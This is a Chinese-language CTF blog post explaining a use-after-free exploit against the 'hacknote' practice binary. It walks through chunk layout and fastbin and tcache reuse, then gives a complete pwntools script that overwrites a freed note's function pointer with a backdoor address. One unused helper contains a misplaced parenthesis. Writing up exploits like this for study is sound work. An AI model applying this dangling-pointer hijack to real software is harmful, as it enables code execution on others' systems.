Heap 0x03

发布时间 2023-05-26 16:40:55作者: Lu0

heap0x03,写写uaf,写完准备刷堆题咯☠️

U A F (USE-AFTER-FREE)

早就听说过这个漏洞的名,今天?就来看看宁是个什么东西

看上去好像很简单但是又很奇妙的一个漏洞,首先洞如其名,指的是在free释放掉申请的内存块之后又再次使用它,此时在程序对这块内存的处理上可能会出现这么几种情况:

  • 假设我们写程序的时候很严谨,在free之后将对应的指针置空(NULL)那再去使用这个空指针肯定是不行的,程序直接挂掉了,也就没有uaf这一说
  • 但是如果你并没有给这个指针置空,然后我们也不去更改它,接着使用的话,程序会有一定的可能会继续正常跑起来
  • 再然后我们站在pwn的角度思考,如果我们通过一些手段改掉了这一块程序/内存,是不是就很可能会产生一些奇妙的效果

这么一想,UAF的思想就出来了:针对后两种情况(未置空的指针dangling pointer)的利用

Example

还是wiki例题,hacknote

既然是Uaf的例题那很显然问题就出在没给指针置空呗,如下

image

静态分析步骤我不做了,我直接扔几个结论,后续看博客(会有吗)的师傅们稍微自己动手分析一下这个逻辑,除了几个指针之外还是蛮好懂的

结论如下:

  • 首先add note的时候其实进行了两次chunk的分配

    • 一次是8字节,其中存放着一个print的函数指针,然后紧跟着的是内容的指针

    • 刚说完的内容的指针就指向第二次分配的chunk,根据size所定的那么个大小,开出一个chunk供我们存放内容

    • 为了方便,后续这个8字节的chunk叫主chunk,然后内容chunk叫content chunk吧

  • 主chunk存放在bss段中的notelist全局变量中,起始地址0x0804A070

  • 然后就是delete的未置空,不多说了

  • 然后print函数中是直接去调用了一个函数指针,并且将上面说的内容指针当作了puts的参数,实则就是puts(content),打印出content

    • 这里有个点是那个index,因为循环从0开始,所以你要查看/释放的时候输入的id也是0开始
  • 然后还有个magic,典型后门函数了,不多说

咋感觉就是做了一次不带图的分析呢

调试

以下采用libc2.27,如果地址偏移啥的不一样就自己动手吧,同heap0x02

image

首先我们分配两个chunk,大小暂定为24吧(大于8即可),一个叫♿1,一个叫♿2;

然后用x指令查看固定地址,先看看上面说过的存放主chunk的地方:

image

然后我们再走一步看一下这2个chunk的具体布局

image

红框框圈的是主chunk,蓝框子圈的是content chunk,至于上面为什么要减8是为了把chunk头也放出来方便去看一下总体的结构

可知,主chunk和content chunk,甚至下一个主chunk,都是连在一起的

这就几乎分析好了程序的基础逻辑和构造,但是在漏洞利用层面上来说,我们好像没什么办法(不能溢出,也无法修改),那只能考虑一下反复申请释放的过程了

魔改(?

我们先删一下看一下会怎么样,注意先删note0,再删note1

image

如果释放之后我们查看bin,在2.27的libc中我这里会突然出现了一个tcachebin,但是实际上对这道题没什么影响,查了一下似乎是在2.26之后加入的这么一个bin,具体是干什么的暂时先不去管了,挖个坑在这里先(那这么看的话似乎调这道题2.23也就是ubuntu16会更直白

放个图吧(?

image

笔者本人是懒?,没装ubuntu16,虽然好像也并没有什么影响但是看着属实有点难受。。然后我想到这可能也说明了一件事就是好像这个tcachebin也是LIFO机制?

不影响下面的东西(因为跑通了),继续看

删掉之后因为程序没有置空,所以是这个样子的

image

这里可能稍微有点难懂,虽然2.27是tcachebin,但是实际上这么一看也还是通过链表链接的

万幸的是这个tcache没有影响下一步的利用,在这里我用2.23的思路来叙述

  • 如果在2.23的libc中,释放掉的小chunk归fastbin管,这个阈值是0x40(详见heap0x01),所以我们释放的两个0x10和两个0x30的chunk都以链表的形式放在fastbin里
  • 如果我们这个时候申请size为8的一块note,程序会申请2个0x10(最小值)的chunk(主chunk和content chunk)而根据分配规则,这两个chunk应该从fastbin中拿取,那实际上就是我们释放过的note0和note1,我们在这里把这次申请的叫做note2吧
  • 继续想分配规则的话,因为我们先free了0,再free了1,根据LIFO机制,之前的1的主chunk现在变成了2的主chunk,0的主chunk变成了2的content chunk
  • 此时,我们可以在申请note2的时候就把note2的内容改成magic(后门函数)的地址,这也就间接改到了“未置空的note0的主chunk中的print函数指针”,从而达成了一整个的攻击过程
  • 于是这样之后,效果如下:0的print变成了后门函数,当查看0的内容时,直接cat flag
  • 再说一下为什么之前申请0和1的时候size要大于8,由heap0x01可知,最小的32位chunk大小是0x10,如果你申请的size不大于8,那两次申请后会得到4个chunk,会打乱我们的利用步骤,同时这么一看应该也很难利用了

效果如下,vmmap计算一下偏移(好像每次堆出来的空间不一样)

image

查看之后可以看到,未置空的note0上面,原本函数指针的位置已经被改成了后门函数地址

于是就输出了flag,纪念一下第一道uaf

image

Exploit

完整exp如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=process("./hacknote")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def getaddr64():
    u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))

def getaddr32():
    u32(r.recv(4))

def dbg():
    gdb.attach(r)
    pause()

def addnote(size,content):
    rcvtil(":")
    sl("1")
    rcvtil(":")
    sl(str(size))
    rcvtil(":")
    sl(content)

def delete(index):
    rcvtil(":")
    sl("2")
    rcvtil(":")
    sl(str(index))

def printnote(index):
    rcvtil(":")
    sl("3")
    rcvtil(":")
    sl(str(index))

magic=0x0804898f
addnote(24,'otto1')
addnote(24,'otto2')

delete(0)
delete(1)

addnote(8,p32(magic))
dbg()
printnote(0)
r.interactive()

这两天闲的没事搞了个万能exp板,看上去可能有点那啥,但是..也不知道好不好用?

总结

uaf看起来是一个比较好懂的漏洞利用,感觉难的东西还是对于堆整个结构和堆的各种机制的掌握,估计又是要在各种各样的堆题里面磨出来思路了???